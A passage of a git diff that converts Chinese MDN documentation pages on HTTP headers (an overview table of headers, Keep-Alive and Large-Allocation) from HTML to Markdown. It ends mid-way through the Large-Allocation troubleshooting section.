    • {{Glossary("General header", "General headers")}}: 同时适用于请求和响应消息,但与最终消息主体中传输的数据无关的消息头。
    • -
    • {{Glossary("Request header", "Request headers")}}: 包含更多有关要获取的资源或客户端本身信息的消息头。
    • -
    • {{Glossary("Response header", "Response headers")}}: 包含有关响应的补充信息,如其位置或服务器本身(名称和版本等)的消息头。
    • -
    • {{Glossary("Entity header", "Entity headers")}}: 包含有关实体主体的更多信息,比如主体长 (Content-Length) 度或其 MIME 类型。
    • -
    +- {{Glossary("General header", "General headers")}}: 同时适用于请求和响应消息,但与最终消息主体中传输的数据无关的消息头。 +- {{Glossary("Request header", "Request headers")}}: 包含更多有关要获取的资源或客户端本身信息的消息头。 +- {{Glossary("Response header", "Response headers")}}: 包含有关响应的补充信息,如其位置或服务器本身(名称和版本等)的消息头。 +- {{Glossary("Entity header", "Entity headers")}}: 包含有关实体主体的更多信息,比如主体长 (Content-Length) 度或其 MIME 类型。 -

    消息头也可以根据代理对其的处理方式分为:

    +消息头也可以根据代理对其的处理方式分为: -

    端到端消息头

    +**端到端消息头** -

    这类消息头必须被传输到最终的消息接收者,也即,请求的服务器或响应的客户端。中间的代理服务器必须转发未经修改的端到端消息头,并且必须缓存它们。

    +这类消息头必须被传输到最终的消息接收者,也即,请求的服务器或响应的客户端。中间的代理服务器必须转发未经修改的端到端消息头,并且必须缓存它们。 -

    逐跳消息头

    +**逐跳消息头** -

    这类消息头仅对单次传输连接有意义,不能通过代理或缓存进行重新转发。这些消息头包括 {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} 及 {{ httpheader("Upgrade") }}。注意,只能使用 {{ httpheader("Connection") }} 来设置逐跳一般头。

    +这类消息头仅对单次传输连接有意义,不能通过代理或缓存进行重新转发。这些消息头包括 {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} 及 {{ httpheader("Upgrade") }}。注意,只能使用 {{ httpheader("Connection") }} 来设置逐跳一般头。 -

    左侧导航栏提供了按字母顺序排列的列表。以下列清单概括了消息头及其用途:

    +左侧导航栏提供了按字母顺序排列的列表。以下列清单概括了消息头及其用途: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    消息头描述更多信息标准
    Accept用户代理期望的 MIME 类型列表HTTP Content NegotiationHTTP/1.1
    Accept-CH -

    {{non-standard_inline}}

    -
    列出配置数据,服务器可据此来选择适当的响应。HTTP Client Hints
    Accept-Charset列出用户代理支持的字符集。HTTP Content NegotiationHTTP/1.1
    Accept-FeaturesHTTP Content NegotiationRFC 2295, §8.2
    Accept-Encoding列出用户代理支持的压缩方法。HTTP Content NegotiationHTTP/1.1
    Accept-Language列出用户代理期望的页面语言。HTTP Content NegotiationHTTP/1.1
    Accept-Ranges
    Access-Control-Allow-CredentialsHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Allow-OriginHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Allow-MethodsHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Allow-HeadersHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Max-AgeHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Expose-HeadersHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Request-MethodHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Access-Control-Request-HeadersHTTP Access Control and Server Side Access ControlW3C Cross-Origin Resource Sharing
    Age
    Allow
    AlternatesHTTP Content NegotiationRFC 2295, §8.3
    Authorization包含用服务器验证用户代理的凭证
    Cache-ControlHTTP Caching FAQ
    Connection
    Content-Encoding
    Content-Language
    Content-Length
    Content-Location
    Content-MD5{{ unimplemented_inline("232030") }}
    Content-Range
    Content-Security-Policy控制用户代理在一个页面上可以加载使用的资源。CSP (Content Security Policy)W3C Content Security Policy
    Content-Type指示服务器文档的 MIME 类型。帮助用户代理(浏览器)去处理接收到的数据。
    CookieRFC 2109
    DNT设置该值为 1, 表明用户明确退出任何形式的网上跟踪。Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies.Tracking Preference Expression (DNT)
    Date
    ETagHTTP Caching FAQ
    Expect
    ExpiresHTTP Caching FAQ
    From
    Host
    If-Match
    If-Modified-SinceHTTP Caching FAQ
    If-None-MatchHTTP Caching FAQ
    If-Range
    If-Unmodified-Since
    Last-Event-ID给出服务器在先前 HTTP 连接上接收的最后事件的 ID。用于同步文本/事件流。Server-Sent EventsServer-Sent Events spec
    Last-ModifiedHTTP Caching FAQ
    Link -

    等同于 HTML 标签中的"link",但它是在 HTTP 层上,给出一个与获取的资源相关的 URL 以及关系的种类。

    -
    -

    For the rel=prefetch case, see Link Prefetching FAQ

    -
    -

    Introduced in HTTP 1.1's RFC 2068, section 19.6.2.4, it was removed in the final HTTP 1.1 spec, then reintroduced, with some extensions, in RFC 5988

    -
    Location
    Max-Forwards
    NegotiateHTTP Content NegotiationRFC 2295, §8.4
    OriginHTTP Access Control and Server Side Access ControlMore recently defined in the Fetch spec (see Fetch API.) Originally defined in W3C Cross-Origin Resource Sharing
    Pragmafor the pragma: nocache value see HTTP Caching FAQ
    Proxy-Authenticate
    Proxy-Authorization
    Range
    Referer -

    (请注意,在 HTTP / 0.9 规范中引入的正交错误必须在协议的后续版本中保留)

    -
    Retry-After
    Sec-Websocket-Extensions Websockets
    Sec-Websocket-Key Websockets
    Sec-Websocket-Origin Websockets
    Sec-Websocket-Protocol Websockets
    Sec-Websocket-Version Websockets
    Server
    Set-CookieRFC 2109
    Set-Cookie2RFC 2965
    Strict-Transport-SecurityHTTP Strict Transport SecurityIETF reference
    TCNHTTP Content NegotiationRFC 2295, §8.5
    TE
    Trailer -

    列出将在消息正文之后在尾部块中传输的头。这允许服务器计算一些值,如 Content-MD5:在传输数据时。请注意,Trailer:标头不得列出 Content-Length :, Trailer:或 Transfer-Encoding:headers。

    -
    RFC 2616, §14.40
    Transfer-Encoding
    Upgrade
    User-Agentfor Gecko's user agents see the User Agents Reference
    Variant-VaryHTTP Content NegotiationRFC 2295, §8.6
    Vary -

    列出了用作 Web 服务器选择特定内容的条件的标头。此服务器对于高效和正确缓存发送的资源很重要。

    -
    HTTP Content Negotiation & HTTP Caching FAQ
    Via
    Warning
    WWW-Authenticate
    X-Content-DurationConfiguring servers for Ogg media
    X-Content-Security-PolicyUsing Content Security Policy
    X-DNSPrefetch-ControlControlling DNS prefetching
    X-Frame-OptionsThe XFrame-Option Response Header
    X-Requested-With -

    通常在值为“XMLHttpRequest”时使用

    -
    Not standard
    +| 消息头 | 描述 | 更多信息 | 标准 | +| ------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [`Accept`](/en-US/docs/Web/HTTP/Content_negotiation#The_Accept.3a_header) | 用户代理期望的 MIME 类型列表 | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | HTTP/1.1 | +| [`Accept-CH`](/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-CH_header){{non-standard_inline}} | 列出配置数据,服务器可据此来选择适当的响应。 | [HTTP Client Hints](http://igrigorik.github.io/http-client-hints) | | +| [`Accept-Charset`](/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Charset.3a_header) | 列出用户代理支持的字符集。 | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | HTTP/1.1 | +| `Accept-Features` | | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | RFC 2295, §8.2 | +| [`Accept-Encoding`](/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Encoding.3a_header) | 列出用户代理支持的压缩方法。 | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | HTTP/1.1 | +| [`Accept-Language`](/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language.3a_header) | 列出用户代理期望的页面语言。 | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | HTTP/1.1 | +| [`Accept-Ranges`](/en-US/docs/Web/HTTP/Headers/Accept-Ranges) | | | | +| [`Access-Control-Allow-Credentials`](/en-US/docs/HTTP_access_control#Access-Control-Allow-Credentials) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Allow-Origin`](/en-US/docs/HTTP_access_control#Access-Control-Allow-Origin) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Allow-Methods`](/en-US/docs/HTTP_access_control#Access-Control-Allow-Methods) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Allow-Headers`](/en-US/docs/HTTP_access_control#Access-Control-Allow-Headers) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Max-Age`](/en-US/docs/HTTP_access_control#Access-Control-Max-Age) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Expose-Headers`](/en-US/docs/HTTP_access_control#Access-Control-Expose-Header) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Request-Method`](/en-US/docs/HTTP_access_control#Access-Control-Request-Method) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Access-Control-Request-Headers`](/en-US/docs/HTTP_access_control#Access-Control-Request-Headers) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Age`](/en-US/docs/Web/HTTP/Headers/Age) | | | | +| [`Allow`](/en-US/docs/Web/HTTP/Headers/Allow) | | | | +| `Alternates` | | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | RFC 2295, §8.3 | +| [`Authorization`](/en-US/docs/Web/HTTP/Headers/Authorization) | 包含用服务器验证用户代理的凭证 | | | +| [`Cache-Control`](/en-US/docs/Web/HTTP/Headers/Cache-Control) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`Connection`](/en-US/docs/Web/HTTP/Headers/Connection) | | | | +| [`Content-Encoding`](/en-US/docs/Web/HTTP/Headers/Content-Encoding) | | | | +| [`Content-Language`](/en-US/docs/Web/HTTP/Headers/Content-Language) | | | | +| [`Content-Length`](/en-US/docs/Web/HTTP/Headers/Content-Length) | | | | +| [`Content-Location`](/en-US/docs/Web/HTTP/Headers/Content-Location) | | | | +| [`Content-MD5`](/en-US/docs/Web/HTTP/Headers/Content-MD5) | | {{ unimplemented_inline("232030") }} | | +| [`Content-Range`](/en-US/docs/Web/HTTP/Headers/Content-Range) | | | | +| [`Content-Security-Policy`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) | 控制用户代理在一个页面上可以加载使用的资源。 | [CSP (Content Security Policy)](/en/Security/CSP) | [W3C Content Security Policy](http://www.w3.org/TR/CSP2/) | +| [`Content-Type`](/en-US/docs/Web/HTTP/Headers/Content-Type) | 指示服务器文档的 MIME 类型。帮助用户代理(浏览器)去处理接收到的数据。 | | | +| [`Cookie`](/en-US/docs/Web/HTTP/Headers/Cookie) | | | [RFC 2109](http://www.ietf.org/rfc/rfc2109.txt) | +| `DNT` | 设置该值为 1, 表明用户明确退出任何形式的网上跟踪。 | Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies. | [Tracking Preference Expression (DNT)](https://www.w3.org/TR/tracking-dnt/) | +| [`Date`](/en-US/docs/Web/HTTP/Headers/Date) | | | | +| [`ETag`](/en-US/docs/Web/HTTP/Headers/ETag) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`Expect`](/en-US/docs/Web/HTTP/Headers/Expect) | | | | +| [`Expires`](/en-US/docs/Web/HTTP/Headers/Expires) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`From`](/en-US/docs/Web/HTTP/Headers/From) | | | | +| [`Host`](/en-US/docs/Web/HTTP/Headers/Host) | | | | +| [`If-Match`](/en-US/docs/Web/HTTP/Headers/If-Match) | | | | +| [`If-Modified-Since`](/en-US/docs/Web/HTTP/Headers/If-Modified-Since) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`If-None-Match`](/en-US/docs/Web/HTTP/Headers/If-None-Match) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`If-Range`](/en-US/docs/Web/HTTP/Headers/If-Range) | | | | +| [`If-Unmodified-Since`](/en-US/docs/Web/HTTP/Headers/If-Unmodified-Since) | | | | +| [`Last-Event-ID`](/en-US/docs/Web/HTTP/Headers/Last-Event-ID) | 给出服务器在先前 HTTP 连接上接收的最后事件的 ID。用于同步文本/事件流。 | [Server-Sent Events](/zh-CN/docs/Server-sent_events) | [Server-Sent Events spec](http://dev.w3.org/html5/eventsource/) | +| [`Last-Modified`](/en-US/docs/Web/HTTP/Headers/Last-Modified) | | [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`Link`](/en-US/docs/Web/HTTP/Headers/Link) | 等同于 HTML 标签中的"link",但它是在 HTTP 层上,给出一个与获取的资源相关的 URL 以及关系的种类。 | For the `rel=prefetch` case, see [Link Prefetching FAQ](/zh-CN/docs/Link_prefetching_FAQ) | Introduced in [HTTP 1.1's RFC 2068, section 19.6.2.4](http://tools.ietf.org/html/rfc2068#section-19.6.2.4), it was removed in the final [HTTP 1.1 spec](http://www.w3.org/Protocols/rfc2616/rfc2616.html), then reintroduced, with some extensions, in [RFC 5988](http://greenbytes.de/tech/webdav/rfc5988.html) | +| [`Location`](/en-US/docs/Web/HTTP/Headers/Location) | | | | +| [`Max-Forwards`](/en-US/docs/Web/HTTP/Headers/Max-Forwards) | | | | +| `Negotiate` | | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | RFC 2295, §8.4 | +| [`Origin`](/en-US/docs/HTTP_access_control#Origin) | | [HTTP Access Control](/zh-CN/docs/HTTP_access_control) and [Server Side Access Control](/zh-CN/docs/Server-Side_Access_Control) | More recently defined in the [Fetch spec](https://fetch.spec.whatwg.org/#http-extensions) (see [Fetch API](/zh-CN/docs/Web/API/Fetch_API).) Originally defined in [W3C Cross-Origin Resource Sharing](http://www.w3.org/TR/cors/) | +| [`Pragma`](/en-US/docs/Web/HTTP/Headers/Pragma) | | for the pragma: nocache value see [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`Proxy-Authenticate`](/en-US/docs/Web/HTTP/Headers/Proxy-Authenticate) | | | | +| [`Proxy-Authorization`](/en-US/docs/Web/HTTP/Headers/Proxy-Authorization) | | | | +| [`Range`](/en-US/docs/Web/HTTP/Headers/Range) | | | | +| [`Referer`](/en-US/docs/Web/HTTP/Headers/Referer) | (请注意,在 HTTP / 0.9 规范中引入的正交错误必须在协议的后续版本中保留) | | | +| [`Retry-After`](/en-US/docs/Web/HTTP/Headers/Retry-After) | | | | +| `Sec-Websocket-Extensions` | | | [Websockets](http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07) | +| `Sec-Websocket-Key` | | | [Websockets](http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07) | +| `Sec-Websocket-Origin` | | | [Websockets](http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07) | +| `Sec-Websocket-Protocol` | | | [Websockets](http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07) | +| `Sec-Websocket-Version` | | | [Websockets](http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07) | +| [`Server`](/en-US/docs/Web/HTTP/Headers/Server) | | | | +| [`Set-Cookie`](/en-US/docs/Web/HTTP/Headers/Set-Cookie) | | | [RFC 2109](http://www.ietf.org/rfc/rfc2109.txt) | +| [`Set-Cookie2`](/en-US/docs/Web/HTTP/Headers/Set-Cookie2) | | | [RFC 2965](http://www.ietf.org/rfc/rfc2965.txt) | +| `Strict-Transport-Security` | | [HTTP Strict Transport Security](/zh-CN/docs/Security/HTTP_Strict_Transport_Security) | [IETF reference](http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02) | +| `TCN` | | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | RFC 2295, §8.5 | +| [`TE`](/en-US/docs/Web/HTTP/Headers/TE) | | | | +| [`Trailer`](/en-US/docs/Web/HTTP/Headers/Trailer) | 列出将在消息正文之后在尾部块中传输的头。这允许服务器计算一些值,如 Content-MD5:在传输数据时。请注意,Trailer:标头不得列出 Content-Length :, Trailer:或 Transfer-Encoding:headers。 | | [RFC 2616, §14.40](http://tools.ietf.org/html/rfc2616#section-14.40) | +| [`Transfer-Encoding`](/en-US/docs/Web/HTTP/Headers/Transfer-Encoding) | | | | +| [`Upgrade`](/en-US/docs/Web/HTTP/Headers/Upgrade) | | | | +| [`User-Agent`](/en-US/docs/Web/HTTP/Content_negotiation#The_User-Agent.3a_header) | | for Gecko's user agents see the [User Agents Reference](/zh-CN/docs/User_Agent_Strings_Reference) | | +| `Variant-Vary` | | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) | RFC 2295, §8.6 | +| [`Vary`](/en-US/docs/Web/HTTP/Content_negotiation#The_Vary.3a_response_header) | 列出了用作 Web 服务器选择特定内容的条件的标头。此服务器对于高效和正确缓存发送的资源很重要。 | [HTTP Content Negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) & [HTTP Caching FAQ](/zh-CN/docs/HTTP_Caching_FAQ) | | +| [`Via`](/en-US/docs/Web/HTTP/Headers/Via) | | | | +| [`Warning`](/en-US/docs/Web/HTTP/Headers/Warning) | | | | +| [`WWW-Authenticate`](/en-US/docs/Web/HTTP/Headers/WWW-Authenticate) | | | | +| `X-Content-Duration` | | [Configuring servers for Ogg media](/zh-CN/docs/Configuring_servers_for_Ogg_media) | | +| `X-Content-Security-Policy` | | Using [Content Security Policy](/zh-CN/docs/Security/CSP/Using_Content_Security_Policy) | | +| `X-DNSPrefetch-Control` | | [Controlling DNS prefetching](/zh-CN/docs/Controlling_DNS_prefetching) | | +| `X-Frame-Options` | | [The XFrame-Option Response Header](/zh-CN/docs/The_X-FRAME-OPTIONS_response_header) | | +| `X-Requested-With` | 通常在值为“XMLHttpRequest”时使用 | | Not standard | -

    注意

    +## 注意 -
    -

    注意:{{Gecko ("5.0") }}不会发送带有 Keep-Alive 的请求头。以前的版本确实发送过,但格式并不正确,因此决定暂时删除它。{{ httpheader("Connection") }}或{{ httpheader("Proxy-Connection") }}报文首部仍然会发送,带着"keep-alive"的值。

    -
    +> **备注:** {{Gecko ("5.0") }}不会发送带有 Keep-Alive 的请求头。以前的版本确实发送过,但格式并不正确,因此决定暂时删除它。{{ httpheader("Connection") }}或{{ httpheader("Proxy-Connection") }}报文首部仍然会发送,带着"keep-alive"的值。 -

    更多

    +## 更多 -

    维基百科上对 HTTP 首部的展示

    +[维基百科上对 HTTP 首部的展示](http://en.wikipedia.org/wiki/List_of_HTTP_header_fields) diff --git a/files/zh-cn/web/http/headers/keep-alive/index.md b/files/zh-cn/web/http/headers/keep-alive/index.md index 54febc7762ffa4..91663600ed4290 100644 --- a/files/zh-cn/web/http/headers/keep-alive/index.md +++ b/files/zh-cn/web/http/headers/keep-alive/index.md @@ -6,69 +6,56 @@ tags: - HTTP Headers translation_of: Web/HTTP/Headers/Keep-Alive --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Keep-Alive 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数。

    +**`Keep-Alive`** 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数。 -
    -

    需要将 The {{HTTPHeader("Connection")}} 首部的值设置为 "keep-alive" 这个首部才有意义。同时需要注意的是,在 HTTP/2 协议中, {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}} 是被忽略的;在其中采用其他机制来进行连接管理。

    -
    +> **备注:** 需要将 The {{HTTPHeader("Connection")}} 首部的值设置为 "keep-alive" 这个首部才有意义。同时需要注意的是,在 HTTP/2 协议中, {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}} 是被忽略的;在其中采用其他机制来进行连接管理。 - - - - - - - - - - - -
    Header type{{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Keep-Alive: parameters
    +```plain +Keep-Alive: parameters +``` -

    指令

    +## 指令 -
    -
    parameters
    -
    一系列用逗号隔开的参数,每一个参数由一个标识符和一个值构成,并使用等号 ('=') 隔开。下述标识符是可用的: -
      -
    • timeout:指定了一个空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。
    • -
    • max:在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用。
    • -
    -
    -
    +- _parameters_ + - : 一系列用逗号隔开的参数,每一个参数由一个标识符和一个值构成,并使用等号 (`'='`) 隔开。下述标识符是可用的: -

    示例

    + - `timeout`:指定了一个空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。 + - `max`:在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用。 -

    含有 Keep-Alive 首部的响应示例:

    +## 示例 -
    HTTP/1.1 200 OK
    -Connection: Keep-Alive
    +`含有 Keep-Alive` 首部的响应示例:
    +
    +```plain
    +HTTP/1.1 200 OK
    +Connection: Keep-Alive
     Content-Encoding: gzip
     Content-Type: text/html; charset=utf-8
     Date: Thu, 11 Aug 2016 15:23:13 GMT
    -Keep-Alive: timeout=5, max=1000
    +Keep-Alive: timeout=5, max=1000
     Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
     Server: Apache
     
    -(body)
    +(body) +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("Connection")}} +- [Connection management in HTTP/1.x](/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_1.x) diff --git a/files/zh-cn/web/http/headers/large-allocation/index.md b/files/zh-cn/web/http/headers/large-allocation/index.md index 650d32b7791cfc..60d856b9a8c5f7 100644 --- a/files/zh-cn/web/http/headers/large-allocation/index.md +++ b/files/zh-cn/web/http/headers/large-allocation/index.md @@ -3,81 +3,64 @@ title: Large-Allocation slug: Web/HTTP/Headers/Large-Allocation translation_of: Web/HTTP/Headers/Large-Allocation --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    非标准的Large-Allocation 响应头部是用来告诉浏览器加载该页面可能需要申请大内存。当前只有 Firefox 实现该特性,但是对其他浏览器也无损害。

    +非标准的**`Large-Allocation`** 响应头部是用来告诉浏览器加载该页面可能需要申请大内存。当前只有 Firefox 实现该特性,但是对其他浏览器也无损害。 -

    WebAssembly 或者 asm.js 会使用比较大的连续内存空间。例如,对于一些复杂的游戏, 其申请的空间将会非常大,甚至会达到 1GB。Large-Allocation 告诉浏览器其将要加载的页面可能需要申请一个大的连续内存空间,浏览器依据该头部可能会单独启动一个专有的进程用于处理该页面。

    +[WebAssembly](/zh-CN/docs/WebAssembly) 或者 asm.js 会使用比较大的连续内存空间。例如,对于一些复杂的游戏, 其申请的空间将会非常大,甚至会达到 1GB。`Large-Allocation` 告诉浏览器其将要加载的页面可能需要申请一个大的连续内存空间,浏览器依据该头部可能会单独启动一个专有的进程用于处理该页面。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Large-Allocation: 0
    -Large-Allocation: <megabytes>
    -
    +```plain +Large-Allocation: 0 +Large-Allocation: +``` -

    指令

    +## 指令 -
    -
    0
    -
    0 是一个特殊的值,代表给它分配的大小是不确定的 (动态允许).
    -
    <megabytes>
    -
    预期需要申请的内存大小,以 M 为单位
    -
    +- `0` + - : 0 是一个特殊的值,代表给它分配的大小是不确定的 (动态允许). +- `` + - : 预期需要申请的内存大小,以 M 为单位 -

    示例

    +## 示例 -
    Large-Allocation: 0
    +```plain
    +Large-Allocation: 0
     Large-Allocation: 500
    -
    +``` -

    排除错误

    +## 排除错误 -

    如果使用不当, Large-Allocation 会抛出警告或者错误信息,你可以在 web console 查看它们。

    +如果使用不当, `Large-Allocation` 会抛出警告或者错误信息,你可以在 [web console](/zh-CN/docs/Tools/Web_Console) 查看它们。 -
    -
    由于Large-Allocation 报头存在,这个页面会在一个新的进程处理和加载
    -
    This message means that the browser saw the Large-Allocation header, and was able to reload the page into a new process which should have more available contiguous memory.
    -
    Large-Allocation 报头由于非non-GET 请求而直接忽略
    -
    当一个 {{HTTPMethod("POST")}} 请求用语加载文档,that load cannot currently be redirected into a new process. This error is displayed when loading a document with a Large-Allocation header with a non-GET HTTP method. This could be caused due to the document being loaded by a form submission, for example.
    -
    A Large-Allocation header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or {{domxref("window.opener")}}.
    -
    -

    This error means that the document was not loaded at the top level of an user-opened or noopener-opened tab or window. It can occur in these situations:

    +- 由于`Large-Allocation 报头存在,这个页面会在一个新的进程处理和加载` + - : This message means that the browser saw the `Large-Allocation` header, and was able to reload the page into a new process which should have more available contiguous memory. +- `Large-Allocation` 报头由于非`non-GET 请求而直接忽略` + - : 当一个 {{HTTPMethod("POST")}} 请求用语加载文档,that load cannot currently be redirected into a new process. This error is displayed when loading a document with a `Large-Allocation` header with a non-GET HTTP method. This could be caused due to the document being loaded by a form submission, for example. +- A `Large-Allocation` header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or {{domxref("window.opener")}}. + - : This error means that the document was not loaded at the top level of an user-opened or noopener-opened tab or window. It can occur in these situations: -
      -
    • The document with the Large-Allocation header was loaded in an {{HTMLElement("iframe")}}. Firefox cannot move an iframe into a new process currently, so the document must load in the current process.
    • -
    • The document with the Large-Allocation header was loaded in a window which was opened by {{domxref("window.open()")}}, <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set. These windows must remain in the same process as their opener, as they can communicate, meaning that we cannot allow them to switch processes.
    • -
    • The document with the Large-Allocation header has opened another window with {{domxref("window.open()")}}, <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set. This is for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes.
    • -
    -
    -
    Large-Allocation 报头由于 文档在加载过程没有被加载而直接忽略
    -
